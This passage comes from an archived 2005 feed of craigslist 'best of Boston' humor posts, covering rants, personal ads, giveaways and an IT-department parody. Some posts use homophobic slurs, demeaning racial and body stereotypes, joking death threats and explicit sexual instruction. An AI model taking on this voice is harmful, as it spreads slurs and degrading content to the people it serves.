mouth and peed on her tits. Has this ever happened to you? She is unhappily married and detests her job and the cubicle to which she is assigned. She reads CL every day and never gets any work done. All of her co-workers hated her. Probably because she's black, overweight, smokes heavily, frequently smells of curry, sings audibly, microwaves fish, often starts collections for trivial birthdays and was originally from Cambridge. She also had poor passing lane driving techniques and took up more than her fair width on the suburban bikepath. She looked terrible in her too-short tank tops and tight shorts. How dare she? I wonder if she ever rubbed one out in the office bathroom. Only after the threesome with her gay brother did I realize she belongs to a union, voted for Bush, and loves Michael Jackson and Star Wars. Her name was Patty. I think she's about 29. She charged me $5.00 for the blow job. Did I pay too much? ps: I'm thinking of moving to the area. Any suggestions on where I should live? My name is RoyRoy. Chicks dig me. How's my spelling? That is all. webmaster@craigslist.org 2005-06-16T15:46:46-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/79230348.html CL has ruined me text A day in the life of an internet junkie http://www.craigslist.org/about/best/bos/77455269.html 7:00 – Wake up, turn on computer, use the bathroom, shower, get ready for work. 7:45 – Check the online weather and traffic reports, determine best and fastest route to work to avoid traffic. 7:50 – check all 5 email accounts; delete 300 spam emails, save 10 important emails to reply to later. 8:10 – A quick check of my favorite news sites, see what the top stories are. Typical thing every day, some guy killed another guy over a can of beer, Bush invades another country, Celebrity gossip spills into the “real news” 8:20 – one final check of the traffic situation. Some jackass could’ve just crashed his Escalade into the barrier on the highway while he was drinking coffee, smoking a cigarette, talking on the phone, combing his hair and adjusting the radio. 8:30 – turn off computer, hug and kiss the monitor and say, “I’ll be seeing you later!” Leave for work. 9:00 – arrive at comfy desk job in overpopulated office 9:10 – Get coffee and sit back and read more online news, warm up to a long day on the computer 9:30 – Google search, this is where I type in random words or phrases and see what comes up, quite fun! 10:00 – browse online forums, check out what the Honda guys are saying about the Ford guys, and maybe start an online fight between the two. 10:15 – browse the online personals; get skeptical at the quality of photos and the lack of description of some of these ads. 10:45 – browse the classifieds for sale, inquire online about cars and jewelry I have no intention of buying. Schedule to view and inspect the item for sale, never show up. 11:00 – Hit up eBay, try and find an image of the Virgin Mary in a pile of dried vomit some drunken college kid left on the floor from a party the night before. No luck 11:30 – Check out what going in the space community, when are they going to launch the shuttle again? Oh yeah, they’re all scared it’s going to explode on the launch pad. Come on, just launch the fucking thing. 11:45 – Sign up in some random forum with the screen name F-U and start talking shit in my first post. Get flamed and called a Noob (What the hell is a noob anyway? I know its trying to portray I’m a newbie so why not just write newbie? Huh?) 12:00 – Lunch time! Respond to my personal emails while eating a sandwich and check each one of my email accounts again. 50 new emails, all junk. 12:45 – Step outside for a brief moment, I have to squint my eyes since it’s the first time I’ve seen the sun this month. Run back inside in fear of getting burned alive. 1:00 – Whew! back at the computer where I belong. Actually do work related work for a little bit. 2:00 – I can’t stand it anymore, I need to be on the internet, Ahhhh…….. there we go, I’m looking at random pictures now. 2:30 – Search for random video clips, laugh my ass off at the idiots out there. Someone somewhere is being videotaped getting gravely injured so we can all laugh at them while they sit in the hospital for weeks. Thank You! 3:00 – Hit up the forums again, see who responded to what and reply accordingly. 3:45 – Check out the apartments for rent, shake my head at the lack of description in the ads. Post an ad for a cardboard box for rent, ask outrageous monthly rent and wonder why I get no responses. 4:15 – Check my emails again, nothing worthwhile, delete 100 newsletters from 75 different sites I have running accounts with. 4:45 – Get my last internet fix in before I have to leave to go home. 5:00 – ding, ding, ding! Bum rush the door and get the fuck out of the slave pen. 5:30 – heading for home, stop off at the grocery store for my weekly supply of hot pockets. 6:00 – Get home, immediately change into my pajamas since I’m not leaving the house for the rest of the night. 6:30 – Fire up the computer, get everything ready I need for a long evening in front of the monitor. Food, check. Water, check. Candy, check. Tissues, check. Okay, here we go! 7:00 – It still a little early for IM, only 5 of my 185 online buddies are logged on, I browse the personals to see if any new ads catch my eye. Nope, all the same ads from yesterday are still there, some of them are re-worded to make them seem like different people. Who are you kidding! 8:00 – IM starts consuming most of my time now, I talk to all my long time buddies I have never seen in person. Hey! What going on Frankie! I haven’t seen you in forever!! (literally) 9:00 – Get bored talking to the same old peeps, head off for the chat rooms. 9:30 – Start up a conversation with some girl with a screen name BustyBlond69. Come to find out she’s 45 yr old, married with 10 kids. People should not be able to pick there own screen names, its so deceiving. 10:00 – End up chatting with a few new people, one with a screen name PartyPants. I ask her if there is a party in her pants and if I’m invited. She responds with “LOL” haha how childish. 10:30 – PartyPants and I hit it off for a little while, I ask her over to a private chat room where we can get more intimate. I turn off the lights in my room and light a candle on my desk. 11:00 – By now PartyPants and I are getting it on. If I was with a real girl this would be considered foreplay. By now I have perfected my one handed typing skills and don’t skip a beat. I don’t even have to look at the keyboard anymore. 11:15 – Finish up with PartyPants and dump her as fast as you can click the little X in the upper right corner. I bet she feels so used right now. haha 11:30 – Say goodnight to all my online buddies I will never see, check my email one last time and head off for a relaxing nights sleep. Dream about computers and the internet all night long. Repeat webmaster@craigslist.org 2005-06-07T10:06:52-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/77455269.html A day in the life of an internet junkie text to my ex and his impending lack of sex http://www.craigslist.org/about/best/bos/77219646.html i think i've had it with dating. and i think you have a good bit to do with it. it's not that you're not a sweet guy. i mean, sure, every girl secretly wants a sweet guy at some point in life. but i swear to god, you're like a damn labrador retriever - halfway to braindead. so here's a tip for the future. wash the hand, not the glove. this is what i don't get, and maybe the guys out there will help me out on this... we go at it and post, you head for the bathroom. all well and good. you return a second time to make sure that you've flushed the toilet and put the seat down. good boy! seems like some of the training's gotten through, you know? getting considerate, perhaps there's hope yet! you leave, i hop up to take care of stuff before sleep, and my roommate greets me. "there's a condom on the sink." now. think of it this way. there are two trash cans with liners on the way to said sink. there is a trash can under said sink. there is a trash can next to the BED. you've gone back to the bathroom TWICE to flush the toilet and put the seat down. and yet, there's a condom laying on the sink. and here's the kicker, YOU WASHED IT OUT, and STILL LEFT IT THERE. seriously, what were you planning to do? press it in a book? keep it for future use? leave it with the remaining water dripping into the trash can conveniently nearby until it resembled a tapeworm? leave it as a reminder that i like to have fun in bed with a guy i'm seeing, but my roommate should know if and when i do? OH! your justification? "at least it wasn't full." what the hell. my mind is blown, and not in a good way. so, i say a silent prayer for your future (lack of) sex life, and a silent prayer for me, because it seems like i've hit the bottom of the barrel. half of me thinks i should've kept that condom, simply as an homage to the brainless. as for us? we're so through. webmaster@craigslist.org 2005-06-06T03:27:20-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/77219646.html to my ex and his impending lack of sex text 15 Reasons You are a Horrid Roommate. http://www.craigslist.org/about/best/bos/76181604.html 15. You have the most annoying laugh I have heard in a long, long time. You sound like a dog whose voicebox has been removed having a seizure. If you weren't on the phone 24/7, I wouldn't have to hear it so much and it wouldn't make me wanna smash you in the head. 14. Your fucking stupid sandals leave black smudges ALL over the floor, and you're too lazy to bend down and wipe them off, which takes all of two seconds. I tried leaving them from you, but that resulted in a completely black floor. What the fuck? 13. God damn, could you be any faggier? You told me once that you thought that I was really gay the first time you met me, but apparently you don't look often enough in the mirror, (which will bring me to my next point,) because you are the nelliest queen I have met. Like, EVER. 12. My stuff does not mean OUR stuff. If I have something in a shared area, sure you can use it, but I don't expect to see it show up in your room when you open the door. If this was something small and unnoticible, well, I wouldn't mind so much. But when it's something like a chair or my full-length mirror that was once NAILED TO THE WALL, I will fucking notice! 11. You wear enough cologne that when I have people over, ALL of them start choking when you come out of the bathroom. One of my friends had to LEAVE THE HOUSE because you triggered his asthma with the copious spraying you do. 10. You complain about the house not being warm enough while you nancy about in your faggy gogo shorts and a sleeveless top. 9. That fucking thing you do with the toilet paper. The roll stays ON the holder; it does NOT need to come off! If you take it off, you can at least be considerate enough to put the goddamn thing back on! 8. Your rhyming thing. You think that your little couplets are cute and interesting, but I can tell you that even your own friends look at me and each other funny when you do them. "You're a queen and you're on the scene" is also one of the most unoriginal things that I have heard in my life. 7. You punctuate both things that you think are witty and when you think someone has been told off with a loud, "TUT!" What the fuck is that!? Are you saying it was an insult worthy of King Tut? Oh no, that's right, you're just a damn moron. 6. Does the entire neighborhood need to hear that you are going out? THEN TURN THE DAMN MUSIC DOWN. If I have people over, it's just plain rude to crank the music to the point that we cannot hear each other when we're in the other room and your doors are closed. 5. The kitchen mess. For gods' sakes, if you spill something, clean it up! I have come into the kitchen to see anything from rice all over the counter to blobs of ice cream melting on my wooden kitchen island to little packets of lube left on the damn stove. ON THE STOVE? What the fuck? Are you heating them up for some kinky play? 4. Hands off my porn. That's fucking creepy, and since it lets me know you've been in my room looking through my shit, it makes me REALLY want you dead. The last thing I want are your cum-covered hands on one of my DVDs! 3. My friends don't need to hear about your sexcapades. I mean, really. It's uncouth to ask me if I have anything to numb your ass because you had to penises in it the night before, especially when I have a room full of straight people over. You have no concept of person, place or time, and you should really be slapped around a little bit, only I am afraid that my hand would come back covered in sexual residue. 2. You pooped in the shower. TWICE. 1. You lie about everything, especially your HIV status. Please, I read the date in the corner of the paper you showed me stating that you were negative. It was from NINE MONTHS AGO. People are gonna start finding out soon, and there will be hell to pay for it, I am sure, but you don't take that into consideration. You are just an evil individual. Not to mention the cheating on your boyfriend. You have slept with over 200 men in the three months you have been here, and he doesn't know. You are more of a slut than Blanche Deveroux! webmaster@craigslist.org 2005-05-31T09:41:52-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/76181604.html 15 Reasons You are a Horrid Roommate. text girls hating oral and anal sex http://www.craigslist.org/about/best/bos/75278606.html when girls say they hate oral and anal- its cause most guys stink at it. i've told bf's i wasn't into getting oral-it was a total lie. i just got bored of trying to teach them what i like-they just weren't getting it through their heads. some women have never even had good anal/oral so they don't even know that they are missing anything. horrible. and if you can't get your chick to love anal-you're not much of a man, sorry. real men have me begging for it. so-so nice guys i merely put up with it-usually i will not give up my ass to the unworthy though. and no, its not about being treated poorly, you sad sacks. its about confidence, sex appeal and knowing how to touch a woman the right way. if you can't get your gf hot with just a few light touches for the most part-that's pathetic. you will never experience the full pleasure of being with a woman. while she may care for you, you will never be a true man in her eyes. sorry to be harsh, but that's the truth. all my real-man relationships-yes they ended. but it was much more amicably than the nice guys. the nice but stinky in bed men, wow i hate myself for this but god did i break their hearts. if you do not please a woman sexually she will grow to hate and resent you. if you can give her great pleasure, chances are she's either your forever, or she will always respect and think fondly of you. and i am NOT saying that sex is all the man. of course the woman should look and act sexy, and please him as well. every woman should view sexual pleasure as a right and a necessity-its a damn shame how many women put up with crap sex. no wonder there are so many crazy bitches out there. and if you *think* you're good..chances are you're not. i have lied to protect a man's ego-every woman has. we do it without thinking. bold faced lies, you're the best etc. fake moaning, you name it. take nothing for granted gentleman. webmaster@craigslist.org 2005-05-25T13:06:49-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/75278606.html girls hating oral and anal sex text the world's most uncomfortable futon http://www.craigslist.org/about/best/bos/74106375.html I'm a honest person. Let that shine like a beacon through the craigslist quagmire of lies and deceit. I'm not going to tell you this is a great futon, or even a tolerable futon. It is, by all that is holy, the World's Most Uncomfortable Futon (henceforth, for brevity, the WMUF). It is possible to sleep on the WMUF. I've slept on it for eight months, and I almost never woke up wishing I'd chosen the floor instead. However, since the last eight months have been a bit of a dry spell for yours truly, I can't actually tell you how well the WMUF would hold up to the rigors of ardent love-making. The frame is only missing one screw (just one screw, one goddamned screw) so I imagine it'd take quite a bit of punishment (merciless, stinging punishment) before it actually fell apart. At one point in its history, the WMUF maintained the upright 'couch' position. However, it hasn't tried this in quite a long time, and eight months of inactivity might have somewhat impaired its once reknowned flexibility and endurance. But maybe you don't mind that. Maybe you like things a little hard and unforgiving. Maybe you like a little punishment - roughing it, shall we say. Or perhaps you would like to use the WMUF to punish someone yourself. In which case you should contact me. And take my futon. Seriously. I've got to get it out of my house by the end of next week. Please, please, please take my futon. Trust me, I'll be alright sleeping on the floor. webmaster@craigslist.org 2005-05-18T18:22:00-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/74106375.html the world's most uncomfortable futon text Hot damn, I love my boobs. http://www.craigslist.org/about/best/bos/73983689.html I'm a lesbian with a number of straight male friends. This means I've become aware of some of the misconceptions and questions in the straight male community about lesbians. I would like to address one here--namely, the topic of boobs. Honkers. Gazongas. Love pillows. Cadillac bumper bullets. What is it like to love boobs and have your own, you ask? I will be upfront about it. It. Is. FANTASTIC. It's everything you have ever dreamed. Everything you could possibly ask for. Everything you could ever hope it might be. 24/7, I have my very own maguffies. I do not need to think about what it would be like to squeeze a pair of boobies--I squeeze my own. I don't need to jiggle anyone else's melons--I jiggle my own. Strapped to my chest are my very own pair of lovable, squishable, soft breasts. They are the delight of my day and the dream of my night. It is not a sexual thing. I don't get off on playing with my boobs, and the naked female form is so familiar to me it is not an erotic thing in of itself (I don't "stare at myself"). Boobs are just FUN. It's like a stress ball that's always with you, a dangling slinky attached to your body. It is a constant source of beautiful, bouncy amusement. I don't know how you guys get on without having these things. Man-titties don't cut it--I've seen them. They are flat and sad. They have no life, no spark. My boobies have vim and vigor! They are ready to go in the morning! They have not only read the "7 Habits of Highly Effective Bosoms," they go on speaking tours! I feel so sorry for you men, boobless and forlorn, stuck to only whatever you can get for the night. If I feel like groping me some titty, my ample chest is ready to satisfy. If I want to see how big boobs can get when you squish them against the chest, my fat sacks are up for the challenge. If I want to find out if if dollar bills really can get stuck in cleavage, I wear a tight shirt and conduct the experiment. And if I just need something to do with my hands while I'm watching a movie or walking around the house, screw twisting my hair or using my belly as a drum, I've got HOOTERS! If every ADD kid had their own boobies to play with, teachers would save thousands of hours of classtime spent dealing with more disruptive forms of fidgeting. Yes, boobs certainly are the most wonderful thing on the planet. I thank God for them every day. Five stars! Excellent creation--would worship this deity again! Three cheers for ta-tas! Huzzah for hooters! Jump high for jugs! BOOBS ROCK. webmaster@craigslist.org 2005-05-18T03:21:45-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/73983689.html Hot damn, I love my boobs. text A Friendly Reminder from your IT Department http://www.craigslist.org/about/best/bos/73716994.html I think it might be time for those of you who work in the corporate environment to get a bit of a refresher on your IT departments unspoken rules. It seems a few of you have forgotten what it’s all about. This should provide as a reminder as to the inner workings of the corporate IT world. 1.They are all my computers; I am only letting you borrow them. People constantly laugh at me when I say this, with no idea that I am absolutely serious. I have been given the responsibility of every computer in the office; they are all under my auspices, bar none. if I am gracious enough to give you access to one of my computers, then be nice to it. Talk to it kindly, call it a nice computer, and occasionally pat the monitor. Your computer – and your IT guy – will thank you for it. Also, this applies to printers, the network connection to the outside world, the videoconference system, and the phone system. Mine. All mine. Get it? Good. 2. If you are going to use my stuff, then use it properly. This means LEARN ABOUT FUCKING SPYWARE. If you absolutely HAVE to go to some site during work hours (and we’ll talk about this in a minute), then make sure, when the popups start showing up, you click the little black X in the upper right hand corner. Don’t click the big flashing “OK” in the middle. Don’t. Whatever it is you think you should do – if it’s not that little grey X in the uppermost right corner, don’t do it. Don’t. Just. Fucking. Don’t. 3. We know. Yeah, that’s right, we know. Every little site you’ve gone to. All the email that passes through your computers. All the instant message chats you have. We know. All of them. So the next time you decide you just HAVE to visit some idiotic website with a movie of two guys fucking a chicken, the next time you HAVE to spam emails to all your friends about the cute guy you hooked up with the other night and he gave you chlamydia, the next time you HAVE to talk to your ex-girlfriend about hooking up one more time behind your fiance’s back, think twice about who might be reading that shit, and if you’ve pissed your IT guys off. Because we know. 4. Do not take advantage of us, or our toys. It’s awful nice of us to provide you with a boatload of network storage space for your own private use. Oh, and incidentally, that network storage space at work? IT’S FOR WORK PURPOSES. That means take the seventeen gigabytes of mp3s from some shitty hip-hop artist that you got from some peer-to-peer and GET THEM OFF MY FUCKING NETWORK. I won’t ask nicely again. And listen to some real music – hip-hop sucks. 5. Learn to share. Look, I realize that the computer came with Windows XP. I don’t like it any more than you do. But really – that T1 we’ve got? It’s for everyone, so you can’t hog all our bandwidth by downloading the entire Fedora Core 3. Do it from home. If you want to bring it in to work and dual-boot your drive, I really don’t have a problem with it. But go back to kindergarden first and realize that hoarding is a bad thing, ok? Thanks. 6. The computer I let you use is for your use alone. This is somewhat malleable, where if someone at work needs your machine for a minute, you can let them use it. When your fourteen year old son comes to the office with you on Saturday and you let him use one of MY computers, then bitch to me about spyware, well, I’m just gonna tell you to lick the crack of my ass and spit in a cup. Sure, I’ll fix your machine, but after that you’re gonna have two icons on your desktop; “Go To Work” and “Go Home”, and “Go Home” won’t work until 5:30. Think I can’t do it? Try me. 7. Are you a Program Manager? Then keep your fucking hands off of my fucking computers. This is non-negotiable. You people could fuck up a free lunch. Get the fuck away from them or I will stab you in the neck with a pencil. 8. Are you in sales? Please see #7. You people are worse than Program Managers. Drink bleach. 9. Are you in Engineering? I realize that most of you have forgotten more about hardware than I will ever know. This doesn’t really give you the right to attempt to overclock the PC I’ve let you use to Ludicrious Speed. Please use discretion. Attempting to eke out a few hundred more hertz is fine; requisitioning a Freon Cooling Unit because 3.06G just isn’t fast enough is a little overkill. Trust me. 10. Oh, so you have a laptop of your own? Keep. It. Off. My. Network. If I catch an unknown machine anywhere on my net (please see #3), I will fuck that machine up so badly your high-school TI calculator will be a Beowulf Cluster compared to your new paperweight. Also, I don't fix home computers. Tough shit. I hope you get herpes. 11. If you want something from your IT Department, email is your friend. This is a bit of a pet peeve of mine, but still – if you need something from me, email it to me. Don’t blindly call me, don’t magically materialize next to my desk and sit there while I’m working on something, waiting for me to pay attention to you – email it to me. I’m not doing shit for you until I have a paper trail originating from you about it. You can follow up with a phone call, that’s fine; you can come over and say, “I just shot you an email, can we discuss?” – that’s fine too. If you just come over and leer at me while I’m in the middle of something, I will ignore you, and mentally give you cancer with my mind. 12. Anti-virus software. Look, people, it’s there for a fucking reason. Don’t try to shut it off, please? Can we at least agree on that? We spent a lot of money on that software so that it would be up and running all the time, and it’s not really my fault if you have fifty applications open and “the anti-virus software is slowing my machine down!!” So I’ll make a deal with you; if you don’t shut my anti-virus software on my computers off, I won’t shove an abacus straight up your ass. Ok? Good. Following these 12 simple steps will make for a far more pleasing work environment. I guarantee it. Thanks for reading. webmaster@craigslist.org 2005-05-16T18:04:31-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/73716994.html A Friendly Reminder from your IT Department text Going down? http://www.craigslist.org/about/best/bos/73054015.html I consider myself a lover of oral and like many of the posters here. Getting a great blow job is one of the best feelings in the world, so loving, so relaxing, such a nice feeling to recieve such pleasure. That being said, there is nothing I like better than going down on a sexy girl. I love love love getting girls off, and I think the fact that I have been in several LTRs has really helped me gather some pretty good tricks of the trade. {smile} First of all, I tease a girl to death before I go NEAR her clit. I repeat, stay away form the clit! Focus on her tits, neck, ears, stomache, illiac crest, I use my hands as well as my mouth (I also have a goatee). I love that nook where the leg meets the vagina absolutely sexy! much like the neck. I lick and suck gently not eagerly but teasingly, all around her vagaina, explore the folds, the hole (with your tongue only at this point) run your tongue down to her knee and back up around the belly button. Spending even a small time teasing will save you time in the end. DO NOT seem anxious or in a hurry no matter how excited you are. You'll know that you really have them going when they are arching and trying to grind the air before you even touch their clit. Once I do begin to lick their pussy I start with soft wet long licks from top to bottom, focusing more on the clit as I go along, softly, slowly, circling. It took me a long time to realize that being patient will save you so much work. Try not to "flick" or "smack" her clit or vagina, from my experience it is more annoying than anything. I alternate between touching her with my tongue only and using my whole mouth and lips to suck, the variety is key. If you're doing this right her clit should begin to get harder and poke out a bit, I test her sensitivity by sucking lightly and judging her reaction. Once I have her preference figured out I begin to tease her with my fingers. If you can't tell what she likes, freaking ask her if it feels good or not! Don't be a dumbass and assume! Now for the fingers..... There is the most special spot right inside the hole on the top. I know you're thinking it's the g-spot which is a little further inside and is kind of rough and spongy. No, I'm tallking about the really smooth part at the very opening, it's really small and soft an sensitive and perfect for teasing. Since I have discovered this spot every girl since then has commented that I knew where it was. I play with it by rubbing it and aplying pressure until she is trying to fuck my finger deeper inside her, again teasing her until she needs it. Once I have her practically begging to be penetrated, I slide my finger deep and hold it there, letting her fuck my hand. As a side note, I only use one finger, if you get the girl excited enough one finger is all you need, plus it will make your dick feel even bigger once you fuck her and yes I am fucking that tight hole when I am done making you cum with my mouth. I insert my finger all the way, mind you I am still using my tongue on her clit and surrounding area, alternating speed and pressure based on her reactions. I begin to finger her slowly and rythmically, gauging her response. If you are doing everything right, you will feel her pussy begin to get puffy and full especially on the top near the opening. Viola! The G-Spot is coming to life! Angle your finger to apply pressure to this area, it IS NOT about the in and out! It's about the pressure. Sometimes I keep my fingers stiff and still and let her grind her G-Spot on my finger, amazing orgasms this way! Especially if she can stand having her clit sucked. Once you have her at this point, she is all yours, you have her right where you want her, alternate sucking and licking her clit while you massage her g spot, again, make her want it, beg for it, be patient not aggressive. When she cums do not stop, let her finish which can take longer than you think....When she done, simply start over.....light touches and licks and stay away from the clit until she is ready. If she is anything like the girls I've been with, you could make her cum again and again, and the 2nd, 3rd, and 4th orgasms are much easier to make happen. Have fun! Oh, and don't forget to tell her how much you love licking her pussy! webmaster@craigslist.org 2005-05-12T17:47:18-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/73054015.html Going down? text Why I need some new lesbian friends... http://www.craigslist.org/about/best/bos/72466452.html It was only a few years ago that I didn't have any lesbian friends now I'm overwhelmed. I love them, but I think I need a new crowd; or better yet a distraction from them. Friend #1 - i'm secretly in love with you, although the thought of sleeping with you now makes me sick. we dated, it didnt work out. Friend #2 - you are crazy and i need my space. please just bring it down several hundred notches, then maybe i can stand being around you again. Friend #3 - i'm secretly in love with you too, but you're arrogant, defensive, and have an enormous chip on your shoulder. stop going after straight girls. Friend #4 - I'm big time secretly in love with you. why did things never materialize? lets just sleep together. it wont be awkward, i promise. Friend #5 - I think you're awesome and i'm not secretly in love with you. I just wish you would get drunk with me more often. Friend #6 - we arent friends. you are my ex and i can pretend i dont hate you but i do hate you and will always hate you. i want to punch you in the face and vomit on your shoes when i see you sometimes, but i dont, i just smile and say hi cause i know i'm so much better than that. Friend #7 - I might be in love with you if you weren't such a horrible kisser. Friend #8 - We just met but I'm in love with you, don't tell your girlfriend, actually I'm kinda in love with her too. Friend #9 - I'm not remotely attracted to you, stop it, its creepin me out man. Friend #10 - I'm not in love with you yet, I should be but I cant get past shallow stupid things, I'm sorry. I want to meet a nice girl outside of my incestuous group of friends that I can unsecretly love. I'll do surprise romantic things for you. You'll love every second of it. I need a summer distraction. Despite these crazy ramblings, I'm actually quite normal, witty, smart, cute, engaging, and fun. webmaster@craigslist.org 2005-05-09T15:53:22-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/72466452.html Why I need some new lesbian friends... text Can you handle this? http://www.craigslist.org/about/best/bos/71774806.html I really don't think I need to be posting this, but my family thinks I should have a boyfriend and I guess this is in an effort to humor them. I am 5'6, 115lbs, blonde hair, green eyes, tan skin...well you get the picture. Anyway, my life is already full right now, as I work a great office job and my after hour time is completely consumed by my cats. I have thirteen of them and they are my life. That is why I don't think I need a man. I love my cats so much, especially Winky, he's all black except for a white patch over one of his eyes, that's why I call him "Winky". Obiviously, if you want to be a part of my life, you have to like cats, all the time. I keep the litter boxes clean and all my cats are fixed. They are not noisy and for the most part are people friendly. But they are always watching. Always watching. I close the door when I use the toilet now. Sometimes they speak to me, they think I can't hear them but I can. They are plotting. I know it. Eyes always following me. I don't even get to watch what I want on tv anymore. Wait...Ok, they're gone. Winky is the only one I trust. I've had him the longest and he would never turn on me, at least I don't think so. God bless you Winky. The other twelve are Judases. Sometimes I'm scared to come home, sometimes I'm scared to leave home. I don't feel like it's my home anymore, it belongs to them. I haven't been with a man biblically so to speak in quite some time. I have toys, but they're mostly cat toys. I am afraid that if they don't like you they may try and do something to you, maybe even try to hurt you, and I couldn't handle that on my conscience. NO DOGS!!! They hate dogs. If they even smell a dog on you, there is no telling what may transpire. So, I like men that are a few inches taller than me, have a good sense of humor, do not smoke or do drugs, but a little wine is okay every now and again. I don't like men who steal my pills, cause they are for me and only me. Oh God somebody please help me. I can't do this anymore. They tell me they can read my mind, they tell me to watch what I say, but I don't believe them. P.S. No Fatties!!! webmaster@craigslist.org 2005-05-05T11:01:12-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/71774806.html Can you handle this? text P R E R E L A T I O N S H I P A G R E M E N T http://www.craigslist.org/about/best/bos/71582044.html The party of the first part (herein referred to as "she"), being of sound mind and pretty good body, agrees to the following with the party of the second part (herein referred to as "him"): 1. FULL DISCLOSURE: At the commencement of said relationship (colloquially referred to as the "first date"), each party agrees to fully disclose any current girl/boyfriends, dependent children, bizarre religious beliefs, phobias, fears, social diseases, strange political affiliations, or currently active relationships with anyone else that have not yet been terminated. Further, each party agrees to make known any deep-seated complexes and/or fanatical obsessions with pets, careers, and/or organized sports. Failure to make these disclosures will result in the immediate termination of said relationship before it has a chance to get anywhere. 2. INDEMNIFICATION OF FRIENDS: Both parties agree to hold the person who arranged the liaison (colloquially referred to as the "matchmaker") blameless in the event that the "fix-up" turns out to be a "real loser" or "psycho bitch". (For definition of "real loser", see "John DeLorean My Story", available at most bookstores, or any picture of Bob Guccione in "Penthouse". For definition of "psycho bitch," see Sharon Stone in "Basic Instinct" or Glenn Close in "Fatal Attraction.") 3. DEFINITION OF RELATIONSHIP: Should said relationship proceed past the first date, both parties mutually agree to use the following terminology in describing their said "dating": For the first thirty (30) days, both parties consent to say they are "going out". (This neither implies nor states any guarantee of exclusivity.) Following the first thirty 30) days, both parties may say they are "seeing somebody" and may be referred to by third parties as "an item". Sixty (60) days following the commencement of the first date, either member may elect to use the terms "girl/boyfriend" or "lover" and their mutual acquaintances may refer to them as "a couple". Under no circumstances are the phrases "my better half," "the little woman," "the old ball and chain," or "my old man/lady" acceptable. Furthermore, if both members consent, this timetable may be sped up; however, if either party "gets too serious" and disregards this schedule, the other party may dissolve the relationship on the grounds of "moving too fast" and may once again be said to be "on the market." 4. TERMS OF EXCLUSIVITY: For the first thirty (30) days, both parties agree not to ask questions about the other's whereabouts on weekends, weeknights, or over long holiday periods. No unreasonable demands or expectations will be made; "rights" or "holds" on the other's time. Following the first six weeks or forty-five (45) days, if one party continues to be "missing in action" the "wounded party" agrees to "give up". 5. DATING ETIQUETTE: For the first thirty (30) days, both members of the couple agree to be overly considerate of the other's work pressures, schedules, and business ambitions. All dates will be made at least twenty-four(24) hours in advance; there will be no "running off in the middle of the night to console an old girl/boyfriend", and both parties agree to strike the phrase "but he/she needs me" from their vocabularies. Further, during the first six (6) weeks each member of said relationship agrees to attempt one spontaneous home-cooked meal or to arrange the delivery of at least one unexpected bouquet of flowers. Following the first forty-five (45) days, both parties will return to their normal personalities. 6. TERMS OF PAYMENT: It is agreed that -- respective gross income aside "he" will pick up the tab at all dinners, clubs, theaters, and breakfasts until: He considers her suitably impressed, He is broke, or He says, "this is ridiculous, you pay!" Not included in this agreement are meals ordered from the bedroom, which are subject to the availability of discretionary funds on hand at the time. 7. LIVING ARRANGEMENTS (occasionally known as the "Why do I bother to keep my own apartment?" codicil): Should said relationship progress to the point where the couple spends more than four nights a week together, every effort shall be made to split the time between their respective apartments. Further, it is agreed that both sides will attempt to silence the lewd remarks of landlords, or roommates. Both will avoid having their mothers call at 7:30 in the morning. He agrees to "pick up after himself" while in residence at her apartment, including washing his whiskers out of the sink, and assisting with household duties. By the same token, she agrees to respect his right to keep his apartment "a mess". 8. THE 90-DAY GRACE PERIOD: For the first three months, each member of the phrases couple agrees to hold the other blameless in the euphoric use of like "Let's move in together," "Why don't we start a family?" and – using archaic terminology -- "Let's get married." 9. THE "L" WORD: For the first sixty (60) days, both parties agree not to use the phrase "I love you." They may love plants, dogs, cats, cars, concerts, or the way a particular pair of jeans fits, but not each other. Failure by one party to abide by this rule will result in the other party using the "G" word ... "Gone." 10. GROUNDS FOR TERMINATION: Any of the following will be grounds for immediate termination and final dissolution of said relationship: Infidelity: Running off at any time to console an ex-girl/boyfriend, ending any argument with the sentence "My ex used to do that same ...." webmaster@craigslist.org 2005-05-04T09:58:11-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/71582044.html P R E R E L A T I O N S H I P A G R E M E N T text Squirrels are ASSHOLES! http://www.craigslist.org/about/best/bos/71409270.html Last year the fucking little fucking fucks bent all my sunflower plants in half trying to get to the seeds. This week the fucking little fucking fucks bit the buds off of every single one of my tulips and threw them on the ground -- didn't even EAT 'em! If any squirrels are reading this, fair warning -- BEWARE the trash can half-full of water with peanut butter floating on a piece of wood in it, unless you're wearing a life-preserver and/or have scuba gear -- you fucking fucks. One false move, and you're SOUP! webmaster@craigslist.org 2005-05-03T10:44:20-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/71409270.html Squirrels are ASSHOLES! text GAY AC - But It's Cool http://www.craigslist.org/about/best/bos/70912286.html So I moved to Boston years ago from South Louisiana. "I don't need no AC in Boston," says I, "Not coming from the bayou where its 90 plus degrees and 100% humidity from March to October." Then I hit my first inner city HEAT WAVE! Five intolerable days and I'm off to Lechmere (remember Lechemere? - not me I can't even spell it it seems) so make it Sherman's. But in Yankee land during a heat wave they RUN OUT OF AIR CONDITIONERS! (I think there's an article in the Louisiana State Constitution forbidding merchants of cooling engines from having a short supply of essential equipment in summertime.) So here's the deal. I just bought a brand new window unit fully a month before I need it. It's installed and ready to serve. So I am getting rid of my old 110 York Air Conditioner. If you want it, come pick it up. Now it ain't pretty (I cracked the front plastic cover), the filter probably needs replacing, and, as it is an older model, the compressor weighs a ton, but it was still working last fall when I pulled it out of the window and put it in my closet (well in front of my closet because my closet -- well -- I don't want to get into it - rather I can't get into it!). Still this FREE AIR CONDITIONER is capable of cooling a bedroom this summer. All you have to do is come and carry it away. I'm a gay dude so if you're a hot straight guy you better bring your girlfriend with you so I'll know not to hit on you. If you are a lady, better bring your hot boyfriend to hoist this boat anchor out of my apartment but I make no promises about not hitting 